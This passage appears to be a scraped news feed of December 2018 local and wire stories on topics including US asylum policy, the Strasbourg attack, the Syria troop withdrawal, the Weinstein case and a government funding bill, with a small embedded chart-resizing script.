crystal particles scatter wavelengths of light and when the sunlight hits the NLC, the weird cloud then can be witnessed on Earth. Check out photos and videos of the "mysterious" object below: What to Know US border authorities handled 67 percent more claims for asylum as of Sept. 2018 than they did in the previous year. Judges granted asylum in 21 percent of their cases in the 2018 fiscal year. On Wednesday, a federal judge struck down Trump asylum rules for domestic and gang violence victims. Undocumented immigrants seeking asylum in the United States will be told to wait in Mexico while their claims are processed, according to a new U.S. policy to which Mexico has agreed. Department of Homeland Security Secretary Kirstjen Nielsen explained the new process in remarks to Congress Thursday, saying undocumented immigrants without the proper documentation will have to await approval to come into the U.S. until they are granted asylum by a U.S. judge. "They will not be able to disappear into the U.S.," Nielsen said of those asking the U.S. for protection due to race, religion, nationality, political opinion or membership of a social group. "They will have to wait for approval to come into the United States. If they are granted asylum by a U.S. judge, they will be welcomed into America. If they are not, they will be removed to their home countries." Nielsen said that Mexican officials have agreed to this policy change and the decision was a historic one for the country, which has traditionally refused to accept the return of any migrants who aren't Mexican. Mexico's Foreign Relations Department said Thursday the move is a temporary, humanitarian measure. The country will offer visas for those seeking asylum in the U.S. to stay on Mexican soil and apply for work and other government protections. Under current policy, people eligible for asylum may be permitted to remain in the U.S. and file for asylum within one year of their arrival. Last week, U.S. Customs and Border Protection officials said the agency has experienced a 121 percent increase in the number of asylum seekers at ports of entry across the U.S. Almost 93,000 claims were processed by the CBP in the fiscal year 2018, a spokesperson told NBC 7 San Diego. Applicants currently may be released into the U.S., often with ankle monitors, while their cases wind through an overwhelmed system of immigration courts. Jackie Wasiluk with CBP Public Affairs said the port of entry facilities were not designed to hold hundreds of people at a time while they seek asylum. She added that the agency is also charged with monitoring trade and travel and keeping illicit goods and drugs from crossing into the U.S. Judges granted asylum in 21 percent of their cases in the 2018 fiscal year, according to the Associated Press. The Associated Press contributed to this report. The NBC 6 Investigators got an exclusive look at what went wrong during the last midterm election in Broward and other counties across the state after obtaining post-election reports. Each county in Florida is required to fill out a report after the midterm elections. Broward County is the only county in the state that had an additional three-page report attached to the back of its submission. Its a report that was written by the two judges that were sitting on the countys canvassing board, and it was critical of the former Supervisor of Elections Brenda Snipes and her staff. In the report to the State, the judges claimed Snipes and her workers were not prepared, that staffing shortages delayed the process and caused them to miss crucial deadlines and that her office made procedural violations. Broward County missed the first recount deadline by two minutes and misplaced more than 2,000 ballots. The NBC 6 Investigators first reported those developments last month. But the judges in the report also claim election workers opened 205 provisional ballots and matched the signatures to verify the votes before taking them to the canvassing board. Its a much more critical report than other counties that also had problems. In Palm Beach, where machines overheated and crucial deadlines were missed, the countys report only states they had a mechanical failure. In Hillsborough County, theres no mention of a recount in the report. It states poll workers failed to follow procedures to modem results, as one of the problems reported. Governor Rick Scott removed Snipes from office. Shes now suing to get her job back. Snipess attorney, Burnadette Norris-Weeks, said over the phone her client is fighting for fairness and for her reputation as a longtime public servant. Her attorney also said the report can be misleading because its from the viewpoint of those who wrote it and Dr. Snipes chose not to sign it. She went on to say all of the reports from each county are self -reported and not fact-checked by the State. What to Know Crews responded to the duplex located near Northwest 8th Avenue and 101st Street, where a total of nine people were living in two units. An overnight fire in Northwest Miami-Dade displaced several families and has investigators wondering if it was intentionally set. Crews responded to the duplex located near Northwest 8th Avenue and 101st Street, where a total of ten people were living in two units. All those inside got out safely and are being helped by the American Red Cross at this time. The left side of the duplex sustained the most damage and is a total loss, according to investigators, but all residents are not being allowed to move back in at this time. "I was just going crazy, because I just heard people screaming loud," said Vandyke Michaels, who was able to get out with his one year old son and four others on the right side. "I dont know what it was until I got outside and saw a whole bunch of flames." Miami-Dade Fire investigators have turned the case over to police, who are looking into the possibility of arson but have not released additional details at this time. What to Know Hollywood city commissioners approved a $750,000 payout to settle an excessive force lawsuit filed by the mother of 30-year-old Daniel Tyson Officials say Tyson charged a responding officer and threw a sundial at his head. City officials in South Florida have approved a settlement for the family of a man who died after being stunned multiple times by police. The South Florida Sun-Sentinel reports that Hollywood city commissioners approved a $750,000 payout to settle an excessive force lawsuit filed by the mother of 30-year-old Daniel Tyson. The city's insurance will cover all but $175,000 of the payment. Tyson's landlord called police in October 2014 after seeing him naked on his balcony. Officials say Tyson charged a responding officer and threw a sundial at his head. Another officer used a stun gun on Tyson nine times. An autopsy ruled that Tyson died of either a heart attack or suffocation. Up to six officers were on scene when Tyson died, and none was charged with a crime or disciplined by the Hollywood Police Department. What to Know 40-year-old Casandra Kerr and 22-year-old Cencetta Didiano were arrested outside the Martin Correctional Institute early Sunday morning. Authorities say a woman and her adult daughter tried to deliver tobacco and cell phones to a Florida prison inmate with a remote-control drone. A Martin County Sheriff's Office news release says 40-year-old Casandra Kerr and 22-year-old Cencetta Didiano were arrested outside the Martin Correctional Institute early Sunday morning. Kerr was charged with introducing contraband into a correctional facility, and Didiano was charged with aiding in the effort. The sheriff's office says deputies responded after prison staff spotted the drone and the contraband, which was supposed to be for Kerr's husband. Investigators say the women admitted to having the drone. Both women are free on bail. Jail records didn't list attorneys for them. The mayor of an Alaskan town and her elderly mother were killed after they were struck by a tour bus near the National Mall in downtown D.C. Wednesday night, police say. The crash happened just before 10 p.m. near the National Archives building at 700 Pennsylvania Avenue NW. The Eyre bus was making a left turn onto Pennsylvania Avenue when it struck Monica Adams Carlson and her mother, 85-year-old Cora Louise Adams, as they were in the crosswalk, the Metropolitan Police Department said. Both women were taken to the hospital, where they died of their injuries. The pair were in D.C. to see the holiday decorations and loved visiting Washington, Carlson's brother-in-law, Steve Hites, told News4. "Both of them were avid lovers of Washington, D.C. The nations capital was a placed they loved to visit," Hites said. Carlson, 61, was the mayor of Skagway, Alaska, a town about 100 miles north of Juneau with a population of about 1,100 people. Carlson was a write-in candidate who was elected to a 2-year term in 2017, according to the town's radio station KHNS-FM. "She leaves some very large shoes to fill in a very small town where we all watch after each other very closely," Hites said. Carlson's mother was a resident of the lakeside town of Elbe in Washington state. if("undefined"==typeof window.datawrapper)window.datawrapper={};window.datawrapper["CzJd7"]={},window.datawrapper["CzJd7"].embedDeltas={"100":824,"200":624,"300":590,"400":546,"500":546,"700":529,"800":529,"900":529,"1000":529},window.datawrapper["CzJd7"].iframe=document.getElementById("datawrapper-chart-CzJd7"),window.datawrapper["CzJd7"].iframe.style.height=window.datawrapper["CzJd7"].embedDeltas[Math.min(1e3,Math.max(100*Math.floor(window.datawrapper["CzJd7"].iframe.offsetWidth/100),100))]+"px",window.addEventListener("message",function(a){if("undefined"!=typeof a.data["datawrapper-height"])for(var b in a.data["datawrapper-height"])if("CzJd7"==b)window.datawrapper["CzJd7"].iframe.style.height=a.data["datawrapper-height"][b]+"px"}); Video from Wednesday's scene showed a tour bus parked on the street near a large area that was taped off by police. Several police cruisers had their lights on and officers could be seen stepping inside the bus. No further information about the crash has been released. Eyre Bus, Tour & Travel, the company that operates the tour bus, released a statement expressing their sympathy to the family. "We are cooperating fully with authorities in the investigation of this incident. Eyre places the safe transportation of our customers as well as those we share the road with as our number one priority." the statement went on to say. It's not clear whether the traffic lights were red or green at the time. Police are reviewing traffic camera video to see if Carlson and Adams had the green light when they crossed. "We do know they were in the crosswalk based on the information that we have, but that's the other information that we're verifying is what the signal timing was for both the vehicle and the pedestrians that were involved in this crash," Assistant Police Chief Jeffery Carroll said. The driver of the bus was cooperating with the investigation. Blaine Mero, office administrator for the Skagway Chamber of Commerce, says locals are in shock and grief over the news. Police say the crash was very similar to an incident that claimed the lives of two woman on Feb. 14, 2007. The woman were hit and killed by a Metrobus in the same intersection. Metro settled a lawsuit with one of the victim's husbands for more than $2 million. DDOT added a left-turn lane and left-turn arrow to the intersection following the crash. WRC-TV The Associated Press contributed to this report A massive manhunt involving hundreds of police and soldiers was underway Wednesday for a suspected extremist who yelled "God is great!" in Arabic during a shooting spree around one of Europe's most famous Christmas markets. The assault in the eastern French city of Strasbourg killed two, left one person brain dead and injured 12 others, authorities said. Police union officials identified the suspected assailant as Frenchman Cherif Chekatt, a 29-year-old with a thick police record for crimes including armed robbery and monitored as a suspected religious radical by the French intelligence services. The two officials spoke on condition of anonymity because they weren't authorized to publicly discuss details of the large and ongoing investigation into the attack that set France on edge anew. The suspect's parents and two brothers, also known for radicalism, have been detained, according to a judicial official. Reflecting Strasbourg's international nature, the dead included a Thai tourist, and an Italian was reportedly among the wounded. The U.S. government, among others, warned citizens in the area to be vigilant. The city is home to the European Parliament and considers itself a capital of Europe and promotes itself as the "capital of Christmas." Some 720 members of the security forces were hunting for the suspected gunman Wednesday. Prosecutor Remy Heitz said the suspect was shot in the arm during an exchange of fire with French soldiers during his rampage in the city center on Tuesday. He then took a taxi to another part of the city, boasting of the attack to the driver. There, he exchanged more gunfire with police and disappeared. Heitz said the man attacked his victims with a handgun and a knife. Previously, French authorities had said the assailant killed three people, but Heitz said two people were confirmed dead while the third was brain dead. A further 12 people were injured, six of them gravely. Witnesses described shots and screams after the gunman opened fire around the Christmas market Tuesday evening. They also reported that the assailant yelled "God is great!" in Arabic during the attack, the prosecutor added. For several hours swaths of the city were under lockdown. Senior Interior Ministry official Laurent Nunez said the suspect had been radicalized in prison and had been monitored by French intelligence services since his release in late 2015, because of his suspected religious extremism. Nunez said on France-Inter radio that police sought to arrest the man on Tuesday morning, hours before the shooting, in relation to an attempted murder. He was not at home but five other people were detained, authorities said. Heitz said police seized a grenade, a rifle and knives during the operation. The government raised the security alert level and sent police reinforcements to Strasbourg, where hundreds of police and soldiers were involved in the search. A terrorism investigation was opened, but the motive of the attack is unclear. At Chekatt's apartment, in an outer neighborhood of Strasbourg, the lock of the door was broken at his apartment. Police were guarding the building. A neighbor, who asked not to be named because the gunman was still at large, said he was rarely home. She said she last saw him Monday from her window, which looks out on a common hallway, and he was with another man. Young men from the apartment block said they knew him as someone who seemed destabilized by his time in prison. "You can just tell," said one, lightly touching the side of his head. They, too, feared being publicly named because the gunman is still being hunted by police. The suspected attacker's more than two dozen convictions also included crimes in Germany and Switzerland, according to court documents seen by The Associated Press. The German government says it has stepped up controls on the country's border with France following the attack, but sees no change to the threat level in Germany. Strasbourg's Christmas market attracts visitors from around the world. A Thai national, 45-year-old Anupong Suebsamarn, was one of the two killed, according to a Thai Foreign Ministry spokeswoman. The English-language website of the newspaper Khao Sod said Anupong was the owner of a noodle factory in Chachoengsao province, east of Bangkok, and also sold clothes in the Thai capital's garment district. It quoted his uncle as saying he and his wife had originally planned to visit Paris, but the "yellow vest" protests there prompted them to change plans and go to Strasbourg instead. Italian media say Antonio Megalizzi, 28, was among the wounded, and is in critical condition. Italian daily La Repubblica reports that he was in Strasbourg to follow the European Parliamentary session. The attack is a new blow to France, which saw a wave of Islamic extremist killings in 2015 and 2016. It came amid a month of protests against President Emmanuel Macron that have blocked roads around the country, led to rioting in the capital and put heavy strain on police. While authorities urged people in the area to stay inside after Tuesday's attack, Strasbourg Mayor Roland Ries told BFM television Wednesday that "life must go on" so that the city doesn't cede to a "terrorist who is trying to disrupt our way of life." Many of Europe's deadliest terror attacks in recent years have taken place in France. In response to Tuesday's shooting, the government decided to take the country's attack risk up a level on the official threat index. ___ Leicester and Corbet reported from Paris. Angela Charlton in Paris, Geir Moulson in Berlin, Kaweewit Kaewjinda in Bangkok and Colleen Barry in Milan also contributed to this report. President Donald Trump is pulling all 2,000 U.S. troops out of Syria, officials announced Wednesday as the president suddenly declared victory over the Islamic State, contradicting his own experts' assessments and sparking surprise and outrage from his party's lawmakers who called his action rash and dangerous. The U.S. began airstrikes in Syria in 2014, and ground troops moved in the following year to battle the Islamic State, or ISIS, and train Syrian rebels in a country torn apart by civil war. Trump abruptly declared their mission accomplished in a tweet. "We have defeated ISIS in Syria, my only reason for being there during the Trump Presidency," he said as Vice President Mike Pence met with top leaders at the Pentagon. U.S. officials said many details of the troop withdrawal had not yet been finalized, but they expect American forces to be out by mid-January. Later Wednesday, Trump posted a video on Twitter in which he said it is "heartbreaking" to have to write letters and make calls to the loved ones of those killed in battle. "Now it's time for our troops to come back home," he said. A senior administration official, speaking to reporters on condition of anonymity, said Trump made the decision based on his belief that U.S. troops have no role in Syria beyond combatting Islamic State, whose fighters are now believed to hold about 1 percent of the territory they did at the peak of their power. The president informed Turkish President Recep Tayyip Erdogan of his decision in a telephone call, the official said. Turkey has recently warned that it would launch combat operations across its southern border into northeastern Syria against Kurdish forces who have been allied with the U.S. in the fight against the Islamic State. Trump's declaration of victory was far from unanimous, and officials said U.S. defense and military leaders were trying to dissuade him from ordering the withdrawal right up until the last minute. His decision immediately triggered demands from Congress including leading Republicans for more information and a formal briefing on the matter. Sen. Lindsay Graham of South Carolina, just returned from Afghanistan, said he was meeting with Defense Secretary Jim Mattis late in the day. Graham, typically a Trump backer, said he was "blindsided" by the report and called the decision "a disaster in the making." He said, "The biggest winners in this are ISIS and Iran." The decision will fulfill Trump's long-stated goal of bringing troops home from Syria, but military leaders have pushed back for months, arguing that the IS group remains a threat and could regroup in Syria's long-running civil war. U.S. policy has been to keep troops in place until the extremists are eradicated. The senior administration official said American forces would still work with allies to fight the Islamic State or other extremists in the country but gave no details on what that might entail. Another official said it still is not clear to defense leaders whether U.S. airstrikes against IS insurgents will continue in Syria after the American troops leave. U.S. military officials worry that American-backed Kurdish troops will be targeted by Turkey and the Syrian government, leaving no ally on the ground to help direct the strikes. Israeli Prime Minister Benjamin Netanyahu, who remains concerned about Iranian efforts in the area, reacted in noncommittal fashion after talking with Trump by telephone. "This is, of course, an American decision," he said. No matter what, he said, "we will safeguard the security of Israel and protect ourselves from this arena." Leading Republican senators reacted with displeasure to the news. Sen. Marco Rubio of Florida said the withdrawal would be a "grave error" and that Kurdish fighters will stop fighting the Islamic State when they must confront Turkish troops crossing the border into Syria. "This is a bad idea because it goes against the fight against ISIS and potentially helps ISIS," he said, warning it could trigger a broader conflict in the region. Just last week, the U.S. special envoy to the anti-ISIS coalition, Brett McGurk, said U.S. troops would remain in Syria even after the Islamic State was driven from its strongholds. "I think it's fair to say Americans will remain on the ground after the physical defeat of the caliphate, until we have the pieces in place to ensure that that defeat is enduring," McGurk told reporters on Dec. 11. "Nobody is declaring a mission accomplished. Defeating a physical caliphate is one phase of a much longer-term campaign." And two weeks ago Gen. Joseph Dunford, chairman of the Joint Chiefs of Staff, said the U.S. still has a long way to go in training local Syrian forces to prevent a resurgence of IS and stabilize the country. He said it will take 35,000 to 40,000 local troops in northeastern Syria to maintain security over the long term, but only about 20 percent of that number have been trained. Trump's national security adviser, John Bolton, said in September that the U.S. would keep a military presence in Syria as long as Iran was active there. "We're not going to leave as long as Iranian troops are outside Iranian borders and that includes Iranian proxies and militias," he said. James Stavridis, a former Navy admiral who served as top NATO commander, tweeted Wednesday that "Pulling troops out of Syria in an ongoing fight is a big mistake. Like walking away from a forest fire that is still smoldering underfoot. Big winner is Iran, then Russia, then Assad. Wrong move." The withdrawal decision, however, is likely to be viewed positively by Turkey, and comes following several conversations between Trump and Erdogan over the past several weeks. The two spoke at the G-20 summit in Argentina and in a phone call last Friday. Erdogan said Monday he had gotten "positive answers" from Trump on the situation in northeast Syria where he has been threatening a new operation against the American-backed Syrian Kurdish fighters. Just hours before the withdrawal decision became public, the State Department announced late Tuesday that it had approved the sale of a $3.5 billion Patriot missile defense system to Turkey. The Turks had complained that the U.S. was slow walking requests for air defenses, and they had signed a deal with Russia to buy a sophisticated system in a deal that Washington and Ankara's other NATO partners strongly opposed. Completion of that deal with Russia for the S-400 system would have opened up Turkey to possible U.S. sanctions and driven a major wedge between the allies. It was not immediately clear if there was a connection between the Patriot sale and the decision on U.S. troops. Although the withdrawal decision doesn't signal an end to the American-led coalition's fight against the Islamic State, it will likely erode U.S. leadership of that 31-nation effort. The administration had been preparing to host a meeting of coalition foreign ministers early next year. "The bottom line is that the American withdrawal from eastern Syria will create a power vacuum that will lead to a new phase of international conflict in Syria," said Jennifer Cafarella, a Syria expert at the Institute for the Study of War. She predicted that the Russians, the Iranians, Syrian President Bashar Assad and the Turks will compete for the terrain and resources previously under U.S. control "at the expense of" the Syrian Kurds who have partnered with U.S. forces against IS. What to Know A 97-year-old woman and her home health aide were critically injured in a fire that broke out at a Chinatown building The fire started on the second floor of 113 Mott Street, near Hester Street, around 12:30 p.m. Wednesday Clutter in an apartment on the building's third floor may have contributed to the blaze, the FDNY said A 97-year-old woman and her home health aide were critically injured in a fire that broke out at a Chinatown building, the FDNY said. The fire started inside a four-story walkup apartment building at 113 Mott Street, near Hester Street, around 12:30 p.m. Wednesday, the FDNY said. Firefighters confronted a dangerous obstacle on the third floor -- an apartment jammed with stacks of paper, objects and little room to maneuver. "The job is challenging enough," said FDNY Chief Michael Gala. "Trying to navigate over clutter is extremely challenging." The woman and her aide were brought down the stairs and taken to the hospital, where they were listed in critical condition, the department said. The woman went into cardiac arrest, according to the department. Firefighters had brought the fire under control by around 2 p.m., the department said. Fire marshals are conducting an investigation into the cause of origin of the blaze. What to Know Two women who appeared to be intoxicated were taken into custody last weekend after a baby found unconscious at a midtown hotel died A day later, authorities said both women had been released and had not been charged The baby's mother, who lives in Delaware, says her stepdaughter had permission to take the child and she doesn't blame her for the death A Delaware mother grieving the death of her 4-month-old son who was found cold and unresponsive in a midtown hotel lobby last week says she doesn't blame her stepdaughter, who had the boy in her care. Investigators are still working to determine what caused the death of Dominic Green on Saturday. His mother, Dominique Green, told reporters the boy was being cared for by her stepdaughter and her stepdaughter's fiancee. They were supposed to take the baby back to Wilmington after a trip to Baltimore, but wound up going to New York. A hotel worker noticed Dominic wasn't moving and called 911, authorities have said. Police also said the women were incoherent and drugs were found. They were arrested, but later released. Dominique Green says she doesn't blame her stepdaughter for what happened. A spokesman for the Manhattan district attorney declined to comment. What to Know Weinstein is charged with raping a woman he knew in a hotel room in March 2013 and forcibly performing oral sex on another woman in 2006 Lawyers say the case has devolved into chaos and was "irreparably tainted" by an officer's alleged interference with a witness and accuser The Hollywood producer-turned-#MeToo pariah has denied all allegations of nonconsensual sex A judge denied a motion to dismiss Harvey Weinstein's criminal case in New York on Thursday, setting aside defense contentions that alleged improper police conduct in the investigation that led to the arrest should negate the indictment. Judge James Burke's ruling buoyed a prosecution that has appeared on rocky ground in recent months amid a prolonged defense effort to raise doubts about the case and the police investigation. Weinstein's lawyers argued the case had been "irreparably tainted" by a detective's alleged coaching of a potential witness and one of the accusers. They also said the grand jury should have been shown evidence that Weinstein had exchanged friendly emails with his two accusers after the alleged attacks. But Burke ruled that Weinstein's claims of prosecutorial misconduct had "no basis." He also denied Weinstein's request for an evidentiary hearing. Weinstein's next court date is scheduled for March 7. The 66-year-old former movie mogul's defense attorney, Benjamin Brafman, said he was disappointed with Burke's ruling, but said he remains confident Weinstein will be "completely exonerated" at trial. "We intend to vigorously defend this case to the best of our ability," Brafman told reporters after the hearing. "It does not in any way suggest that the case against Mr. Weinstein is going to end badly." Weinstein has denied all allegations of nonconsensual sex. He pleaded not guilty and is free on $1 million bail. He left court without commenting. He is charged with raping an unidentified female acquaintance in his hotel room in 2013 and performing a forcible sex act on a different woman in 2006. The Associated Press does not identify alleged victims of sexual assaults unless they come forward publicly. Images of Weinstein, the notoriously bombastic producer of Oscar winners "Shakespeare in Love" and "The English Patient," in handcuffs last spring were seen by many women as a cathartic moment in the #MeToo reckoning. About half a dozen women supporting Time's Up, including actresses Amber Tamblyn and Marisa Tomei, were at the hearing Thursday. "Today, here in New York, we saw the first steps towards justice," Time's Up President Lisa Borders said after the judge's ruling. Burke could have dismissed some or all of the charges, which would have been a major setback for Manhattan District Attorney Cyrus Vance Jr., who was criticized for declining to pursue criminal charges against Weinstein when he was accused of groping an Italian model in 2015. Vance cited a lack of supporting evidence at the time, despite the existence of a clandestinely made recording of Weinstein discussing the episode with the woman. But in recent months, Weinstein worked side-by-side with Brafman to throw doubt on the case and his accusers. They plucked emails from his movie studio's servers they say showed Weinstein had friendly, consensual relationships with the women. Weinstein's defense was boosted in October by back-to-back allegations of misconduct in the police investigation. Manhattan prosecutors dropped one of the charges against him allegations that he raped an aspiring actress who was still in college after evidence surfaced that Det. Nicholas DiGaudio instructed a potential witness to keep some of her doubts about the veracity of the allegations to herself. DiGaudio allegedly told the witness in February that when she spoke to prosecutors, "less is more." That witness never testified before the grand jury that indicted Weinstein. Burke, in his ruling, noted that count was dismissed not because prosecutors disbelieved the alleged victim but because they determined they may not have been able to prove the charge beyond a reasonable doubt. Prosecutors also disclosed an allegation that DiGaudio urged the 2013 rape accuser to delete private material from her cellphones before handing them over to the DA's office. Prosecutors said the material didn't pertain to Weinstein and the woman wound up not deleting anything. DiGaudio's union has said he "was simply trying to get to the truth" and wasn't trying to influence the investigation. Late last month, Weinstein's lawyers said they spoke to a woman who said the rape accuser asked her to corroborate her allegations, but the friend wouldn't "make up a story." The friend told investigators that Weinstein and the accuser had been "hooking up" consensually for a while and that she never heard her say anything bad about him until last year, Brafman said in a court filing. In the months after The New York Times and The New Yorker began publishing stories about Weinstein's interactions with women, activists pressured Vance to bring charges as dozens of people came forward with claims of sexual misconduct against him. NYPD officials poured on the pressure, too, saying publicly they believed they had gathered ample evidence to make an arrest. Burke's ruling revealed that Weinstein had agreed in May to testify before the grand jury considering his case. He was arrested days later and then withdrew his notice to testify before the grand jury that charged him. What to Know Mayor de Blasio has outlined his vision for how New York City should adapt the legalization of recreational marijuana He says safety, health and equity will be the three guiding principles of legalization It comes days after Gov. Cuomo said he planned to push for pot legalization in New York state within the next few months Mayor de Blasio has announced his support for the fair and safe legalization of marijuana Thursday morning and has outlined a plan for how New York City will adapt to the legalization of recreational marijuana, days after Gov. Andrew Cuomo announced his plan to push for the measure across the state. On Thursday, the mayor and wife Chirlane McCray discussed the report released from the mayor's task force on cannabis legalization, months after de Blasio tasked the group in July to "set forth New York City's vision of what legal cannabis should look like here." The report, "A Fair Approach to Marijuana," was produced by the Mayor's Task Force on Cannabis Legalization, which was convened in July 2018 to identify the goals and challenges that should guide the Citys preparations for potential legalization. "We are talking about change and it has to happen the right way," de Blasio said during the conference. In a letter accompanying the 70-plus page report released Wednesday, de Blasio wrote, "We have a once-in-a-generation opportunity to get a historic issue right for future New Yorkers. Legal cannabis is coming to New York State. When it does, we must do all we can to make sure that happens in a way that is safe, takes the health of New York City residents into account, and above all, provides opportunity while righting historic wrongs." De Blasio additionally wrote, "Weve seen these kinds of new industries spring up before. Legalization can follow two routes. In one, corporate Cannabis rushes in and seizes a big, new market, driven by a single motive: greed. In another, New Yorkers build their own local cannabis industry, led by small businesses and organized to benefit our whole diverse community." "Tragically, we know what happens when corporations run the show," he said, citing the harm wrought by the pharmaceutical, tobacco and oil industries. During Thursday's press conference, de Blasio said the city must do something to "avert all the disasters" of big pharma. "We know the laws to date have caused many people to suffer and often the suffering has been profoundly unequal," citing that communities of color and low-income areas have received "the brunt of the so-called war on drugs," de Blasio. "If we know that the laws of the past were written in an unequal and unfair way, we should be ware that it doesn't happen again." De Blasio referred to the city already attempting to "right these types of wrongs" by ceasing to arrest people for low-level possession. He later referred to new legislation in the works saying, "In the new law that will be written, let's automatically expunge past convictions for low-level marijuana crimes. Let's give New Yorkers a clean slate." De Blasio says he wants safety, health and equity to guide pot legalization in New York City. In his letter, he writes: "Safety means regulating the market, to ensure that supply is clean and safe. It means keeping people from driving while under the influence. And it means making sure that kids dont have access to cannabis." "Health means educating the whole community, and young people especially, about the real public health risks that legalization may pose, including dependence, traffic collisions, and impaired cognitive capacity." "Equity is especially important, because we have a painful past to overcome. The burden of current cannabis laws has not been shared equally. For far too long, one's race has played too big a role in determining criminality. Too many people of color have seen their lives ruined by low-level arrests, locked out of jobs and prosperity by a single joint on the street." De Blasio said he wants to make sure that "those who bore the brunt of past burdens reap the most future benefit," meaning that a majority of the opportunity generated in the new pot industry go "to people of color, to low-income New Yorkers, to people whose lives have been stalled by marijuana convictions, or those who live in neighborhoods where there have been the highest number of marijuana arrests." He also wants revenue from the marijuana industry to fund public health campaigns, job training programs and low-interest loans to support local entrepreneurs and workers in the field. First Lady Charlane McCray, who leads the city's mental health and substance misuse efforts said that as the city and state move toward legalization, says the city's report presented a "fair, safe and thoughtful approach to the legalization of marijuana." However, she also noted that though she believes that legalization in the city and state is the right path, the risks of legalization must also be taken into account. We must do everything we can to protect our citys young people, and educate all New Yorkers about marijuana use," she said in a statement. "Thats why this report is so important, and I urge state lawmakers use the recommendations as a guide for their work in the months ahead. On Monday, as part of his remarks outlining his agenda for the next term, Cuomo said he planned to push for legalizing recreational marijuana within the first 100 days of his third term, though he didn't immediately provide a timeline for legalization or say how those efforts would go forward. The governor once referred to pot as a "gateway drug" and said he was "unconvinced on recreational marijuana," but in July conceded that the "situation on marijuana is changing," the New York Times reported. He said Monday legalizing pot would be part of a "true justice reform." What to Know A Long Island family is desperately trying to get the body of their husband and father back from the Chinese government Lt. Col. Norman Easy, a National Guard veteran, died on the plane to Shanghai while on a business trip as a health care executive China won't return his body unless the family signs a waiver; Easy's family says "something is off" Just days before Christmas, a Long Island family is desperately trying to get the body of their veteran husband and father back home from China after he mysteriously died on a flight there from New York. On Friday, Dec. 7, retired Lt. Col. Norman Easy, a health care executive, boarded a China Eastern Airlines flight at JFK Airport and headed to Shanghai for a business trip. He travels frequently, according to his family, but wife Nixtia panicked when the father of four didn't let her know he'd landed in China. "He always communicates with us, and I didn't hear nothing from him," said Nixtia. When he didn't show up for a meeting on Monday, his company dispatched a team to find him. "One of the police officers who happened to be at the airport when he died [also] happened to be at the police station when the team got there," his son Marcus told News 4 New York. What the officer told the team was devastating. "He said that someone matching my dad's description passed away on the plane," Marcus said. "They weren't allowed to verify that it was him but they're 100 percent sure it was him." Since then, the Easy family say they've been getting the runaround from the Chinese government. They can't find out how he died, and they can't get his body. "Just a good man who's done so much for his family -- not just for his family, but for the country and gave up almost 30 years of his life," said daughter Caitlin. "I just feel like the treament he's been receiving is so heartbreaking." Family members said they were told on Wednesday that Easy's wife had to sign a waiver saying she doesn't object to anything in the police report -- a report she said she hasn't even seen -- before China will return his body. "The fact that they're not willing to give us his body or death certificate or even the police report until we sign this waiver is just ridiculous," said Caitlin. Easy's birthday is Christmas Eve. The family can't start to grieve until they have his body home, but they were determined to find out. "Something is off. We don't know what it is," said Marcus. "We gotta figure it out and get him home." The Senate approved legislation Wednesday to temporarily fund the government, a key step toward averting a federal shutdown after President Donald Trump backed off his demand for money for a border wall with Mexico. Senators passed the measure, which would keep government running to Feb. 8, by voice vote without a roll call. The House is also expected to move before Friday's deadline, when funding for a portion of the government expires. Without resolution, more than 800,000 federal workers would face furloughs or be forced to work without pay, disrupting government operations days before Christmas. While the White House indicated Trump was open to reviewing whatever Congress could pass, the president did not immediately weigh in on the short-term plan. Senate Majority Leader Mitch McConnell, R-Ky., said the Senate will remain in session Thursday. "We have to see what the House does," he said. Many of Trump's supporters were frustrated that he appeared to retreat on his shutdown threats after promising a fight over the wall, which had been central to his presidential campaign. Just last week Trump said he would be "proud" to shut down the government over his demand for $5 billion for the wall. Some allies described the move as caving on his pledge, expressing concern that it could hurt Trump's 2020 prospects. Rep. Mark Meadows, R-N.C., a leader of the conservative House Freedom Caucus, said Trump's political base "will just go crazy" if he signs a bill without wall funding. He warned it will be tougher to win the money next year when Democrats control the House. He said supporters of the president "believe it's a promise that he's been telling them that he will keep." On Twitter, Trump appeared to respond to criticism by insisting that "one way or the other, we will win on the Wall!" Trump counselor Kellyanne Conway also faced tough questioning on "Fox & Friends," the morning show known to be one of Trump's favorites. Host Brian Kilmeade said Wednesday that Trump has "no leverage," while Ainsley Earhardt asked why Trump was "softening" his position. "The president is not softening his stance," Conway said. "He has a responsibility to keep the government moving forward, and he has a responsibility to get border security." McConnell, though, portrayed the short-term spending measure as a "simple" bill that would show that Republicans, who control Congress now, will finish the year by not prolonging a potential crisis. "Republicans will continue to fill our duty to govern," he said. Voting was delayed until late Wednesday as a bipartisan group of lawmakers, mostly from the West, sought to include language reauthorizing a popular program that supports conservation and outdoor recreation projects. The Land and Water Conservation Fund expired Sept. 30, and they've been trying to extend it, but no agreement was reached and talks will continue. At one point late in the late evening, senators broke out in a round of Christmas carols from a corner of the chamber. A few moments later, retiring Sen. Jeff Flake, R-Ariz., gaveled a procedural vote closed by suggesting "Rudolph" had voted present. It was unclear how many House members would return to Washington for votes after Republicans lost the majority in the midterm election. Some 70 members missed Wednesday's session, almost as many Democrats as Republicans. With Republicans sour on the spending package, passage could depend on Democrats. Democratic House leader Nancy Pelosi, who is on track to become speaker when Democrats take control Jan. 3, signaled support for ensuring funding. Should the legislation become law, the border money fight would drag into the next Congress, which could prove even more difficult for Trump. Pelosi will probably be able to quickly win approval of a longer-term measure to keep government running in 2019. "Democrats will be ready to fully, responsibly fund our government in January," Pelosi said in a statement. As some Republicans grumbled that Trump caved, McConnell lashed out at Democrats for failing to give Trump any of the $5 billion that he wanted for the wall. The bill keeps funding at current levels, $1.3 billion, for border security and fencing, but not for the wall. "This seems to be the reality of our political moment," McConnell said. "It seems like political spite for the president may be winning out over sensible policy." Senate Minority Leader Chuck Schumer of New York said Democrats oppose Trump's border demands because the wall is "inefficient" and because Trump, as a candidate, promised that Mexico would pay for it, which Mexico has refused to do. "We want smart, effective border security," Schumer said. "That's not a wall." But the White House showed its willingness to budge as it became apparent the president did not have support in Congress for paying for the wall. White House press secretary Sarah Huckabee Sanders indicated earlier this week that Trump did not want to shut down the government. She said the administration was looking at ways to find the money elsewhere, though that was uncertain because it would also likely need congressional approval. Congress did pass legislation to fund much of the government through the current budget year, until next Oct. 1. At issue is money for nine of 15 Cabinet-level departments and dozens of agencies, including the departments of Homeland Security, Transportation, Interior, Agriculture, State and Justice, as well as national parks and forests. The stopgap measure would approve government funding at existing levels for those departments, without a boost for the border. It would include a temporary extension of a national flood insurance program, the Violence Against Women Act and other measures. Several lawmakers have complained that the appropriations process continues to be tangled in partisan politics. Top appropriators had tried to improve the process this year by passing 